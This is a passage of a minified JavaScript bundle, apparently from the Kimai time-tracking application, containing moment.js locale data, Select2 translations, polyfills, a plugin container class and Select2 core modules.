ár"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n("wd/R"))},C9gY:function(t,e,n){"use strict";n.d(e,"a",(function(){return c}));n("eoL8"),n("+2oP"),n("07d7"),n("sMBO"),n("pjDv"),n("PKPk"),n("pNMO"),n("4Brf"),n("0oug"),n("4mDm"),n("3bBZ"),n("J30X");var i=n("sZbX"),r=n("7LP0"),o=n("dQ1+");function a(t,e){var n;if("undefined"==typeof Symbol||null==t[Symbol.iterator]){if(Array.isArray(t)||(n=function(t,e){if(!t)return;if("string"==typeof t)return s(t,e);var n=Object.prototype.toString.call(t).slice(8,-1);"Object"===n&&t.constructor&&(n=t.constructor.name);if("Map"===n||"Set"===n)return Array.from(t);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return s(t,e)}(t))||e&&t&&"number"==typeof t.length){n&&(t=n);var i=0,r=function(){};return{s:r,n:function(){return i>=t.length?{done:!0}:{done:!1,value:t[i++]}},e:function(t){throw t},f:r}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var o,a=!0,l=!1;return{s:function(){n=t[Symbol.iterator]()},n:function(){var t=n.next();return a=t.done,t},e:function(t){l=!0,o=t},f:function(){try{a||null==n.return||n.return()}finally{if(l)throw o}}}}function s(t,e){(null==e||e>t.length)&&(e=t.length);for(var n=0,i=new Array(e);n<e;n++)i[n]=t[n];return i}function l(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}var c=function(){function t(e,n){if(function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,t),!(e instanceof i.a))throw new Error("Configuration needs to a KimaiConfiguration instance");if(this._configuration=e,!(n instanceof r.a))throw new Error("Configuration needs to a KimaiTranslation instance");this._translation=n,this._plugins=[]}var e,n,s;return e=t,(n=[{key:"registerPlugin",value:function(t){if(!(t instanceof o.a))throw new Error("Invalid plugin given, needs to be a KimaiPlugin instance");return t.setContainer(this),this._plugins.push(t),t}},{key:"getPlugin",value:function(t){var e,n=a(this._plugins);try{for(n.s();!(e=n.n()).done;){var i=e.value;if(null!==i.getId()&&i.getId()===t)return i}}catch(t){n.e(t)}finally{n.f()}throw new Error("Unknown plugin: "+t)}},{key:"getPlugins",value:function(){return this._plugins}},{key:"getTranslation",value:function(){return this._translation}},{key:"getConfiguration",value:function(){return this._configuration}}])&&l(e.prototype,n),s&&l(e,s),t}()},CTrX:function(t,e,n){(function(t){!function(){if(t&&t.fn&&t.fn.select2&&t.fn.select2.amd)var e=t.fn.select2.amd;e.define("select2/i18n/ru",[],(function(){function t(t,e,n,i){return t%10<5&&t%10>0&&t%100<5||t%100>20?t%10>1?n:e:i}return{errorLoading:function(){return"Невозможно загрузить результаты"},inputTooLong:function(e){var n=e.input.length-e.maximum,i="Пожалуйста, введите на "+n+" символ";return(i+=t(n,"","a","ов"))+" меньше"},inputTooShort:function(e){var n=e.minimum-e.input.length;return"Пожалуйста, введите ещё хотя бы "+n+" символ"+t(n,"","a","ов")},loadingMore:function(){return"Загрузка данных…"},maximumSelected:function(e){return"Вы можете выбрать не более "+e.maximum+" элемент"+t(e.maximum,"","a","ов")},noResults:function(){return"Совпадений не найдено"},searching:function(){return"Поиск…"},removeAllItems:function(){return"Удалить все элементы"}}})),e.define,e.require}()}).call(this,n("EVdn"))},"D/JM":function(t,e,n){!function(t){"use strict";t.defineLocale("eu",{months:"urtarrila_otsaila_martxoa_apirila_maiatza_ekaina_uztaila_abuztua_iraila_urria_azaroa_abendua".split("_"),monthsShort:"urt._ots._mar._api._mai._eka._uzt._abu._ira._urr._aza._abe.".split("_"),monthsParseExact:!0,weekdays:"igandea_astelehena_asteartea_asteazkena_osteguna_ostirala_larunbata".split("_"),weekdaysShort:"ig._al._ar._az._og._ol._lr.".split("_"),weekdaysMin:"ig_al_ar_az_og_ol_lr".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"YYYY[ko] MMMM[ren] D[a]",LLL:"YYYY[ko] MMMM[ren] D[a] HH:mm",LLLL:"dddd, YYYY[ko] MMMM[ren] D[a] HH:mm",l:"YYYY-M-D",ll:"YYYY[ko] MMM D[a]",lll:"YYYY[ko] MMM D[a] HH:mm",llll:"ddd, YYYY[ko] MMM D[a] HH:mm"},calendar:{sameDay:"[gaur] LT[etan]",nextDay:"[bihar] LT[etan]",nextWeek:"dddd LT[etan]",lastDay:"[atzo] LT[etan]",lastWeek:"[aurreko] dddd LT[etan]",sameElse:"L"},relativeTime:{future:"%s barru",past:"duela %s",s:"segundo batzuk",ss:"%d segundo",m:"minutu bat",mm:"%d minutu",h:"ordu bat",hh:"%d ordu",d:"egun bat",dd:"%d egun",M:"hilabete bat",MM:"%d hilabete",y:"urte bat",yy:"%d urte"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n("wd/R"))},DHBJ:function(t,e,n){(function(t){!function(){if(t&&t.fn&&t.fn.select2&&t.fn.select2.amd)var e=t.fn.select2.amd;e.define("select2/i18n/nl",[],(function(){return{errorLoading:function(){return"De resultaten konden niet worden geladen."},inputTooLong:function(t){return"Gelieve "+(t.input.length-t.maximum)+" karakters te verwijderen"},inputTooShort:function(t){return"Gelieve "+(t.minimum-t.input.length)+" of meer karakters in te voeren"},loadingMore:function(){return"Meer resultaten laden…"},maximumSelected:function(t){var e="Er "+(1==t.maximum?"kan":"kunnen")+" maar "+t.maximum+" item";return 1!=t.maximum&&(e+="s"),e+" worden geselecteerd"},noResults:function(){return"Geen resultaten gevonden…"},searching:function(){return"Zoeken…"},removeAllItems:function(){return"Verwijder alle items"}}})),e.define,e.require}()}).call(this,n("EVdn"))},DLK6:function(t,e,n){var i=n("ewvW"),r=Math.floor,o="".replace,a=/\$([$&'`]|\d{1,2}|<[^>]*>)/g,s=/\$([$&'`]|\d{1,2})/g;t.exports=function(t,e,n,l,c,u){var d=n+t.length,f=l.length,h=s;return void 0!==c&&(c=i(c),h=a),o.call(u,h,(function(i,o){var a;switch(o.charAt(0)){case"$":return"$";case"&":return t;case"`":return e.slice(0,n);case"'":return e.slice(d);case"<":a=c[o.slice(1,-1)];break;default:var s=+o;if(0===s)return i;if(s>f){var u=r(s/10);return 0===u?i:u<=f?void 0===l[u-1]?o.charAt(1):l[u-1]+o.charAt(1):i}a=l[s-1]}return void 0===a?"":a}))}},DPsx:function(t,e,n){var i=n("g6v/"),r=n("0Dky"),o=n("zBJ4");t.exports=!i&&!r((function(){return 7!=Object.defineProperty(o("div"),"a",{get:function(){return 7}}).a}))},DQNa:function(t,e,n){var i=n("busE"),r=Date.prototype,o=r.toString,a=r.getTime;new Date(NaN)+""!="Invalid Date"&&i(r,"toString",(function(){var t=a.call(this);return t==t?o.call(this):"Invalid Date"}))},DjPg:function(t,e,n){(function(i){var r,o,a;o=[n("EVdn")],void 0===(a="function"==typeof(r=function(t){var e=function(){if(t&&t.fn&&t.fn.select2&&t.fn.select2.amd)var e=t.fn.select2.amd;return function(){var t,n,i;e&&e.requirejs||(e?n=e:e={},function(e){var r,o,a,s,l={},c={},u={},d={},f=Object.prototype.hasOwnProperty,h=[].slice,p=/\.js$/;function m(t,e){return f.call(t,e)}function g(t,e){var n,i,r,o,a,s,l,c,d,f,h,m=e&&e.split("/"),g=u.map,y=g&&g["*"]||{};if(t){for(a=(t=t.split("/")).length-1,u.nodeIdCompat&&p.test(t[a])&&(t[a]=t[a].replace(p,"")),"."===t[0].charAt(0)&&m&&(t=m.slice(0,m.length-1).concat(t)),d=0;d<t.length;d++)if("."===(h=t[d]))t.splice(d,1),d-=1;else if(".."===h){if(0===d||1===d&&".."===t[2]||".."===t[d-1])continue;d>0&&(t.splice(d-1,2),d-=2)}t=t.join("/")}if((m||y)&&g){for(d=(n=t.split("/")).length;d>0;d-=1){if(i=n.slice(0,d).join("/"),m)for(f=m.length;f>0;f-=1)if((r=g[m.slice(0,f).join("/")])&&(r=r[i])){o=r,s=d;break}if(o)break;!l&&y&&y[i]&&(l=y[i],c=d)}!o&&l&&(o=l,s=c),o&&(n.splice(0,s,o),t=n.join("/"))}return t}function y(t,e){return function(){var n=h.call(arguments,0);return"string"!=typeof n[0]&&1===n.length&&n.push(null),o.apply(void 0,n.concat([t,e]))}}function v(t){return function(e){l[t]=e}}function b(t){if(m(c,t)){var e=c[t];delete c[t],d[t]=!0,r.apply(void 0,e)}if(!m(l,t)&&!m(d,t))throw new Error("No "+t);return l[t]}function w(t){var e,n=t?t.indexOf("!"):-1;return n>-1&&(e=t.substring(0,n),t=t.substring(n+1,t.length)),[e,t]}function _(t){return t?w(t):[]}function k(t){return function(){return u&&u.config&&u.config[t]||{}}}a=function(t,e){var n,i,r=w(t),o=r[0],a=e[1];return t=r[1],o&&(n=b(o=g(o,a))),o?t=n&&n.normalize?n.normalize(t,(i=a,function(t){return g(t,i)})):g(t,a):(o=(r=w(t=g(t,a)))[0],t=r[1],o&&(n=b(o))),{f:o?o+"!"+t:t,n:t,pr:o,p:n}},s={require:function(t){return y(t)},exports:function(t){var e=l[t];return void 0!==e?e:l[t]={}},module:function(t){return{id:t,uri:"",exports:l[t],config:k(t)}}},r=function(t,e,n,i){var r,o,u,f,h,p,g,w=[],k=typeof n;if(p=_(i=i||t),"undefined"===k||"function"===k){for(e=!e.length&&n.length?["require","exports","module"]:e,h=0;h<e.length;h+=1)if("require"===(o=(f=a(e[h],p)).f))w[h]=s.require(t);else if("exports"===o)w[h]=s.exports(t),g=!0;else if("module"===o)r=w[h]=s.module(t);else if(m(l,o)||m(c,o)||m(d,o))w[h]=b(o);else{if(!f.p)throw new Error(t+" missing "+o);f.p.load(f.n,y(i,!0),v(o),{}),w[h]=l[o]}u=n?n.apply(l[t],w):void 0,t&&(r&&void 0!==r.exports&&r.exports!==l[t]?l[t]=r.exports:void 0===u&&g||(l[t]=u))}else t&&(l[t]=n)},t=n=o=function(t,e,n,i,l){if("string"==typeof t)return s[t]?s[t](e):b(a(t,_(e)).f);if(!t.splice){if((u=t).deps&&o(u.deps,u.callback),!e)return;e.splice?(t=e,e=n,n=null):t=void 0}return e=e||function(){},"function"==typeof n&&(n=i,i=l),i?r(void 0,t,e,n):setTimeout((function(){r(void 0,t,e,n)}),4),o},o.config=function(t){return o(t)},t._defined=l,(i=function(t,e,n){if("string"!=typeof t)throw new Error("See almond README: incorrect module build, no module name");e.splice||(n=e,e=[]),m(l,t)||m(c,t)||(c[t]=[t,e,n])}).amd={jQuery:!0}}(),e.requirejs=t,e.require=n,e.define=i)}(),e.define("almond",(function(){})),e.define("jquery",[],(function(){var e=t||i;return null==e&&console&&console.error&&console.error("Select2: An instance of jQuery or a jQuery-compatible library was not found. Make sure that you are including jQuery before Select2 on your web page."),e})),e.define("select2/utils",["jquery"],(function(t){var e={};function n(t){var e=t.prototype,n=[];for(var i in e)"function"==typeof e[i]&&"constructor"!==i&&n.push(i);return n}e.Extend=function(t,e){var n={}.hasOwnProperty;function i(){this.constructor=t}for(var r in e)n.call(e,r)&&(t[r]=e[r]);return i.prototype=e.prototype,t.prototype=new i,t.__super__=e.prototype,t},e.Decorate=function(t,e){var i=n(e),r=n(t);function o(){var n=Array.prototype.unshift,i=e.prototype.constructor.length,r=t.prototype.constructor;i>0&&(n.call(arguments,t.prototype.constructor),r=e.prototype.constructor),r.apply(this,arguments)}e.displayName=t.displayName,o.prototype=new function(){this.constructor=o};for(var a=0;a<r.length;a++){var s=r[a];o.prototype[s]=t.prototype[s]}for(var l=function(t){var n=function(){};t in o.prototype&&(n=o.prototype[t]);var i=e.prototype[t];return function(){var t=Array.prototype.unshift;return t.call(arguments,n),i.apply(this,arguments)}},c=0;c<i.length;c++){var u=i[c];o.prototype[u]=l(u)}return o};var i=function(){this.listeners={}};i.prototype.on=function(t,e){this.listeners=this.listeners||{},t in this.listeners?this.listeners[t].push(e):this.listeners[t]=[e]},i.prototype.trigger=function(t){var e=Array.prototype.slice,n=e.call(arguments,1);this.listeners=this.listeners||{},null==n&&(n=[]),0===n.length&&n.push({}),n[0]._type=t,t in this.listeners&&this.invoke(this.listeners[t],e.call(arguments,1)),"*"in this.listeners&&this.invoke(this.listeners["*"],arguments)},i.prototype.invoke=function(t,e){for(var n=0,i=t.length;n<i;n++)t[n].apply(this,e)},e.Observable=i,e.generateChars=function(t){for(var e="",n=0;n<t;n++)e+=Math.floor(36*Math.random()).toString(36);return e},e.bind=function(t,e){return function(){t.apply(e,arguments)}},e._convertData=function(t){for(var e in t){var n=e.split("-"),i=t;if(1!==n.length){for(var r=0;r<n.length;r++){var o=n[r];(o=o.substring(0,1).toLowerCase()+o.substring(1))in i||(i[o]={}),r==n.length-1&&(i[o]=t[e]),i=i[o]}delete t[e]}}return t},e.hasScroll=function(e,n){var i=t(n),r=n.style.overflowX,o=n.style.overflowY;return(r!==o||"hidden"!==o&&"visible"!==o)&&("scroll"===r||"scroll"===o||i.innerHeight()<n.scrollHeight||i.innerWidth()<n.scrollWidth)},e.escapeMarkup=function(t){var e={"\\":"&#92;","&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#39;","/":"&#47;"};return"string"!=typeof t?t:String(t).replace(/[&<>"'\/\\]/g,(function(t){return e[t]}))},e.appendMany=function(e,n){if("1.7"===t.fn.jquery.substr(0,3)){var i=t();t.map(n,(function(t){i=i.add(t)})),n=i}e.append(n)},e.__cache={};var r=0;return e.GetUniqueElementId=function(t){var e=t.getAttribute("data-select2-id");return null==e&&(t.id?(e=t.id,t.setAttribute("data-select2-id",e)):(t.setAttribute("data-select2-id",++r),e=r.toString())),e},e.StoreData=function(t,n,i){var r=e.GetUniqueElementId(t);e.__cache[r]||(e.__cache[r]={}),e.__cache[r][n]=i},e.GetData=function(n,i){var r=e.GetUniqueElementId(n);return i?e.__cache[r]&&null!=e.__cache[r][i]?e.__cache[r][i]:t(n).data(i):e.__cache[r]},e.RemoveData=function(t){var n=e.GetUniqueElementId(t);null!=e.__cache[n]&&delete e.__cache[n],t.removeAttribute("data-select2-id")},e})),e.define("select2/results",["jquery","./utils"],(function(t,e){function n(t,e,i){this.$element=t,this.data=i,this.options=e,n.__super__.constructor.call(this)}return e.Extend(n,e.Observable),n.prototype.render=function(){var e=t('<ul class="select2-results__options" role="listbox"></ul>');return this.options.get("multiple")&&e.attr("aria-multiselectable","true"),this.$results=e,e},n.prototype.clear=function(){this.$results.empty()},n.prototype.displayMessage=function(e){var n=this.options.get("escapeMarkup");this.clear(),this.hideLoading();var i=t('<li role="alert" aria-live="assertive" class="select2-results__option"></li>'),r=this.options.get("translations").get(e.message);i.append(n(r(e.args))),i[0].className+=" select2-results__message",this.$results.append(i)},n.prototype.hideMessages=function(){this.$results.find(".select2-results__message").remove()},n.prototype.append=function(t){this.hideLoading();var e=[];if(null!=t.results&&0!==t.results.length){t.results=this.sort(t.results);for(var n=0;n<t.results.length;n++){var i=t.results[n],r=this.option(i);e.push(r)}this.$results.append(e)}else 0===this.$results.children().length&&this.trigger("results:message",{message:"noResults"})},n.prototype.position=function(t,e){e.find(".select2-results").append(t)},n.prototype.sort=function(t){return this.options.get("sorter")(t)},n.prototype.highlightFirstItem=function(){var t=this.$results.find(".select2-results__option[aria-selected]"),e=t.filter("[aria-selected=true]");e.length>0?e.first().trigger("mouseenter"):t.first().trigger("mouseenter"),this.ensureHighlightVisible()},n.prototype.setClasses=function(){var n=this;this.data.current((function(i){var r=t.map(i,(function(t){return t.id.toString()}));n.$results.find(".select2-results__option[aria-selected]").each((function(){var n=t(this),i=e.GetData(this,"data"),o=""+i.id;null!=i.element&&i.element.selected||null==i.element&&t.inArray(o,r)>-1?n.attr("aria-selected","true"):n.attr("aria-selected","false")}))}))},n.prototype.showLoading=function(t){this.hideLoading();var e={disabled:!0,loading:!0,text:this.options.get("translations").get("searching")(t)},n=this.option(e);n.className+=" loading-results",this.$results.prepend(n)},n.prototype.hideLoading=function(){this.$results.find(".loading-results").remove()},n.prototype.option=function(n){var i=document.createElement("li");i.className="select2-results__option";var r={role:"option","aria-selected":"false"},o=window.Element.prototype.matches||window.Element.prototype.msMatchesSelector||window.Element.prototype.webkitMatchesSelector;for(var a in(null!=n.element&&o.call(n.element,":disabled")||null==n.element&&n.disabled)&&(delete r["aria-selected"],r["aria-disabled"]="true"),null==n.id&&delete r["aria-selected"],null!=n._resultId&&(i.id=n._resultId),n.title&&(i.title=n.title),n.children&&(r.role="group",r["aria-label"]=n.text,delete r["aria-selected"]),r){var s=r[a];i.setAttribute(a,s)}if(n.children){var l=t(i),c=document.createElement("strong");c.className="select2-results__group",t(c),this.template(n,c);for(var u=[],d=0;d<n.children.length;d++){var f=n.children[d],h=this.option(f);u.push(h)}var p=t("<ul></ul>",{class:"select2-results__options select2-results__options--nested"});p.append(u),l.append(c),l.append(p)}else this.template(n,i);return e.StoreData(i,"data",n),i},n.prototype.bind=function(n,i){var r=this,o=n.id+"-results";this.$results.attr("id",o),n.on("results:all",(function(t){r.clear(),r.append(t.data),n.isOpen()&&(r.setClasses(),r.highlightFirstItem())})),n.on("results:append",(function(t){r.append(t.data),n.isOpen()&&r.setClasses()})),n.on("query",(function(t){r.hideMessages(),r.showLoading(t)})),n.on("select",(function(){n.isOpen()&&(r.setClasses(),r.options.get("scrollAfterSelect")&&r.highlightFirstItem())})),n.on("unselect",(function(){n.isOpen()&&(r.setClasses(),r.options.get("scrollAfterSelect")&&r.highlightFirstItem())})),n.on("open",(function(){r.$results.attr("aria-expanded","true"),r.$results.attr("aria-hidden","false"),r.setClasses(),r.ensureHighlightVisible()})),n.on("close",(function(){r.$results.attr("aria-expanded","false"),r.$results.attr("aria-hidden","true"),r.$results.removeAttr("aria-activedescendant")})),n.on("results:toggle",(function(){var t=r.getHighlightedResults();0!==t.length&&t.trigger("mouseup")})),n.on("results:select",(function(){var t=r.getHighlightedResults();if(0!==t.length){var n=e.GetData(t[0],"data");"true"==t.attr("aria-selected")?r.trigger("close",{}):r.trigger("select",{data:n})}})),n.on("results:previous",(function(){var t=r.getHighlightedResults(),e=r.$results.find("[aria-selected]"),n=e.index(t);if(!(n<=0)){var i=n-1;0===t.length&&(i=0);var o=e.eq(i);o.trigger("mouseenter");var a=r.$results.offset().top,s=o.offset().top,l=r.$results.scrollTop()+(s-a);0===i?r.$results.scrollTop(0):s-a<0&&r.$results.scrollTop(l)}})),n.on("results:next",(function(){var t=r.getHighlightedResults(),e=r.$results.find("[aria-selected]"),n=e.index(t)+1;if(!(n>=e.length)){var i=e.eq(n);i.trigger("mouseenter");var o=r.$results.offset().top+r.$results.outerHeight(!1),a=i.offset().top+i.outerHeight(!1),s=r.$results.scrollTop()+a-o;0===n?r.$results.scrollTop(0):a>o&&r.$results.scrollTop(s)}})),n.on("results:focus",(function(t){t.element.addClass("select2-results__option--highlighted")})),n.on("results:message",(function(t){r.displayMessage(t)})),t.fn.mousewheel&&this.$results.on("mousewheel",(function(t){var e=r.$results.scrollTop(),n=r.$results.get(0).scrollHeight-e+t.deltaY,i=t.deltaY>0&&e-t.deltaY<=0,o=t.deltaY<0&&n<=r.$results.height();i?(r.$results.scrollTop(0),t.preventDefault(),t.stopPropagation()):o&&(r.$results.scrollTop(r.$results.get(0).scrollHeight-r.$results.height()),t.preventDefault(),t.stopPropagation())})),this.$results.on("mouseup",".select2-results__option[aria-selected]",(function(n){var i=t(this),o=e.GetData(this,"data");"true"!==i.attr("aria-selected")?r.trigger("select",{originalEvent:n,data:o}):r.options.get("multiple")?r.trigger("unselect",{originalEvent:n,data:o}):r.trigger("close",{})})),this.$results.on("mouseenter",".select2-results__option[aria-selected]",(function(n){var i=e.GetData(this,"data");r.getHighlightedResults().removeClass("select2-results__option--highlighted"),r.trigger("results:focus",{data:i,element:t(this)})}))},n.prototype.getHighlightedResults=function(){return this.$results.find(".select2-results__option--highlighted")},n.prototype.destroy=function(){this.$results.remove()},n.prototype.ensureHighlightVisible=function(){var t=this.getHighlightedResults();if(0!==t.length){var e=this.$results.find("[aria-selected]").index(t),n=this.$results.offset().top,i=t.offset().top,r=this.$results.scrollTop()+(i-n),o=i-n;r-=2*t.outerHeight(!1),e<=2?this.$results.scrollTop(0):(o>this.$results.outerHeight()||o<0)&&this.$results.scrollTop(r)}},n.prototype.template=function(e,n){var i=this.options.get("templateResult"),r=this.options.get("escapeMarkup"),o=i(e,n);null==o?n.style.display="none":"string"==typeof o?n.innerHTML=r(o):t(n).append(o)},n})),e.define("select2/keys",[],(function(){return{BACKSPACE:8,TAB:9,ENTER:13,SHIFT:16,CTRL:17,ALT:18,ESC:27,SPACE:32,PAGE_UP:33,PAGE_DOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,DELETE:46}})),e.define("select2/selection/base",["jquery","../utils","../keys"],(function(t,e,n){function i(t,e){this.$element=t,this.options=e,i.__super__.constructor.call(this)}return e.Extend(i,e.Observable),i.prototype.render=function(){var n=t('<span class="select2-selection" role="combobox"  aria-haspopup="true" aria-expanded="false"></span>');return this._tabindex=0,null!=e.GetData(this.$element[0],"old-tabindex")?this._tabindex=e.GetData(this.$element[0],"old-tabindex"):null!=this.$element.attr("tabindex")&&(this._tabindex=this.$element.attr("tabindex")),n.attr("title",this.$element.attr("title")),n.attr("tabindex",this._tabindex),n.attr("aria-disabled","false"),this.$selection=n,n},i.prototype.bind=function(t,e){var i=this,r=t.id+"-results";this.container=t,this.$selection.on("focus",(function(t){i.trigger("focus",t)})),this.$selection.on("blur",(function(t){i._handleBlur(t)})),this.$selection.on("keydown",(function(t){i.trigger("keypress",t),t.which===n.SPACE&&t.preventDefault()})),t.on("results:focus",(function(t){i.$selection.attr("aria-activedescendant",t.data._resultId)})),t.on("selection:update",(function(t){i.update(t.data)})),t.on("open",(function(){i.$selection.attr("aria-expanded","true"),i.$selection.attr("aria-owns",r),i._attachCloseHandler(t)})),t.on("close",(function(){i.$selection.attr("aria-expanded","false"),i.$selection.removeAttr("aria-activedescendant"),i.$selection.removeAttr("aria-owns"),i.$selection.trigger("focus"),i._detachCloseHandler(t)})),t.on("enable",(function(){i.$selection.attr("tabindex",i._tabindex),i.$selection.attr("aria-disabled","false")})),t.on("disable",(function(){i.$selection.attr("tabindex","-1"),i.$selection.attr("aria-disabled","true")}))},i.prototype._handleBlur=function(e){var n=this;window.setTimeout((function(){document.activeElement==n.$selection[0]||t.contains(n.$selection[0],document.activeElement)||n.trigger("blur",e)}),1)},i.prototype._attachCloseHandler=function(n){t(document.body).on("mousedown.select2."+n.id,(function(n){var i=t(n.target).closest(".select2");t(".select2.select2-container--open").each((function(){this!=i[0]&&e.GetData(this,"element").select2("close")}))}))},i.prototype._detachCloseHandler=function(e){t(document.body).off("mousedown.select2."+e.id)},i.prototype.position=function(t,e){e.find(".selection").append(t)},i.prototype.destroy=function(){this._detachCloseHandler(this.container)},i.prototype.update=function(t){throw new Error("The `update` method must be defined in child classes.")},i.prototype.isEnabled=function(){return!this.isDisabled()},i.prototype.isDisabled=function(){return this.options.get("disabled")},i})),e.define("select2/selection/single",["jquery","./base","../utils","../keys"],(function(t,e,n,i){function r(){r.__super__.constructor.apply(this,arguments)}return n.Extend(r,e),r.prototype.render=function(){var t=r.__super__.render.call(this);return t.addClass("select2-selection--single"),t.html('<span class="select2-selection__rendered"></span><span class="select2-selection__arrow" role="presentation"><b role="presentation"></b></span>'),t},r.prototype.bind=function(t,e){var n=this;r.__super__.bind.apply(this,arguments);var i=t.id+"-container";this.$selection.find(".select2-selection__rendered").attr("id",i).attr("role","textbox").attr("aria-readonly","true"),this.$selection.attr("aria-labelledby",i),this.$selection.on("mousedown",(function(t){1===t.which&&n.trigger("toggle",{originalEvent:t})})),this.$selection.on("focus",(function(t){})),this.$selection.on("blur",(function(t){})),t.on("focus",(function(e){t.isOpen()||n.$selection.trigger("focus")}))},r.prototype.clear=function(){var t=this.$selection.find(".select2-selection__rendered");t.empty(),t.removeAttr("title")},r.prototype.display=function(t,e){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(t,e))},r.prototype.selectionContainer=function(){return t("<span></span>")},r.prototype.update=function(t){if(0!==t.length){var e=t[0],n=this.$selection.find(".select2-selection__rendered"),i=this.display(e,n);n.empty().append(i);var r=e.title||e.text;r?n.attr("title",r):n.removeAttr("title")}else this.clear()},r})),e.define("select2/selection/multiple",["jquery","./base","../utils"],(function(t,e,n){function i(t,e){i.__super__.constructor.apply(this,arguments)}return n.Extend(i,e),i.prototype.render=function(){var t=i.__super__.render.call(this);return t.addClass("select2-selection--multiple"),t.html('<ul class="select2-selection__rendered"></ul>'),t},i.prototype.bind=function(e,r){var o=this;i.__super__.bind.apply(this,arguments),this.$selection.on("click",(function(t){o.trigger("toggle",{originalEvent:t})})),this.$selection.on("click",".select2-selection__choice__remove",(function(e){if(!o.isDisabled()){var i=t(this).parent(),r=n.GetData(i[0],"data");o.trigger("unselect",{originalEvent:e,data:r})}}))},i.prototype.clear=function(){var t=this.$selection.find(".select2-selection__rendered");t.empty(),t.removeAttr("title")},i.prototype.display=function(t,e){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(t,e))},i.prototype.selectionContainer=function(){return t('<li class="select2-selection__choice"><span class="select2-selection__choice__remove" role="presentation">&times;</span></li>')},i.prototype.update=function(t){if(this.clear(),0!==t.length){for(var e=[],i=0;i<t.length;i++){var r=t[i],o=this.selectionContainer(),a=this.display(r,o);o.append(a);var s=r.title||r.text;s&&o.attr("title",s),n.StoreData(o[0],"data",r),e.push(o)}var l=this.$selection.find(".select2-selection__rendered");n.appendMany(l,e)}},i})),e.define("select2/selection/placeholder",["../utils"],(function(t){function e(t,e,n){this.placeholder=this.normalizePlaceholder(n.get("placeholder")),t.call(this,e,n)}return e.prototype.normalizePlaceholder=function(t,e){return"string"==typeof e&&(e={id:"",text:e}),e},e.prototype.createPlaceholder=function(t,e){var n=this.selectionContainer();return n.html(this.display(e)),n.addClass("select2-selection__placeholder").removeClass("select2-selection__choice"),n},e.prototype.update=function(t,e){var n=1==e.length&&e[0].id!=this.placeholder.id;if(e.length>1||n)return t.call(this,e);this.clear();var i=this.createPlaceholder(this.placeholder);this.$selection.find(".select2-selection__rendered").append(i)},e})),e.define("select2/selection/allowClear",["jquery","../keys","../utils"],(function(t,e,n){function i(){}return i.prototype.bind=function(t,e,n){var i=this;t.call(this,e,n),null==this.placeholder&&this.options.get("debug")&&window.console&&console.error&&console.error("Select2: The `allowClear` option should be used in combination with the `placeholder` option."),this.$selection.on("mousedown",".select2-selection__clear",(function(t){i._handleClear(t)})),e.on("keypress",(function(t){i._handleKeyboardClear(t,e)}))},i.prototype._handleClear=function(t,e){if(!this.isDisabled()){var i=this.$selection.find(".select2-selection__clear");if(0!==i.length){e.stopPropagation();var r=n.GetData(i[0],"data"),o=this.$element.val();this.$element.val(this.placeholder.id);var a={data:r};if(this.trigger("clear",a),a.prevented)this.$element.val(o);else{for(var s=0;s<r.length;s++)if(a={data:r[s]},this.trigger("unselect",a),a.prevented)return void this.$element.val(o);this.$element.trigger("input").trigger("change"),this.trigger("toggle",{})}}}},i.prototype._handleKeyboardClear=function(t,n,i){i.isOpen()||n.which!=e.DELETE&&n.which!=e.BACKSPACE||this._handleClear(n)},i.prototype.update=function(e,i){if(e.call(this,i),!(this.$selection.find(".select2-selection__placeholder").length>0||0===i.length)){var r=this.options.get("translations").get("removeAllItems"),o=t('<span class="select2-selection__clear" title="'+r()+'">&times;</span>');n.StoreData(o[0],"data",i),this.$selection.find(".select2-selection__rendered").prepend(o)}},i})),e.define("select2/selection/search",["jquery","../utils","../keys"],(function(t,e,n){function i(t,e,n){t.call(this,e,n)}return i.prototype.render=function(e){var n=t('<li class="select2-search select2-search--inline"><input class="select2-search__field" type="search" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="searchbox" aria-autocomplete="list" /></li>');this.$searchContainer=n,this.$search=n.find("input");var i=e.call(this);return this._transferTabIndex(),i},i.prototype.bind=function(t,i,r){var o=this,a=i.id+"-results";t.call(this,i,r),i.on("open",(function(){o.$search.attr("aria-controls",a),o.$search.trigger("focus")})),i.on("close",(function(){o.$search.val(""),o.$search.removeAttr("aria-controls"),o.$search.removeAttr("aria-activedescendant"),o.$search.trigger("focus")})),i.on("enable",(function(){o.$search.prop("disabled",!1),o._transferTabIndex()})),i.on("disable",(function(){o.$search.prop("disabled",!0)})),i.on("focus",(function(t){o.$search.trigger("focus")})),i.on("results:focus",(function(t){t.data._resultId?o.$search.attr("aria-activedescendant",t.data._resultId):o.$search.removeAttr("aria-activedescendant")})),this.$selection.on("focusin",".select2-search--inline",(function(t){o.trigger("focus",t)})),this.$selection.on("focusout",".select2-search--inline",(function(t){o._handleBlur(t)})),this.$selection.on("keydown",".select2-search--inline",(function(t){if(t.stopPropagation(),o.trigger("keypress",t),o._keyUpPrevented=t.isDefaultPrevented(),t.which===n.BACKSPACE&&""===o.$search.val()){var i=o.$searchContainer.prev(".select2-selection__choice");if(i.length>0){var r=e.GetData(i[0],"data");o.searchRemoveChoice(r),t.preventDefault()}}})),this.$selection.on("click",".select2-search--inline",(function(t){o.$search.val()&&t.stopPropagation()}));var s=document.documentMode,l=s&&s<=11;this.$selection.on("input.searchcheck",".select2-search--inline",(function(t){l?o.$selection.off("input.search input.searchcheck"):o.$selection.off("keyup.search")})),this.$selection.on("keyup.search input.search",".select2-search--inline",(function(t){if(l&&"input"===t.type)o.$selection.off("input.search 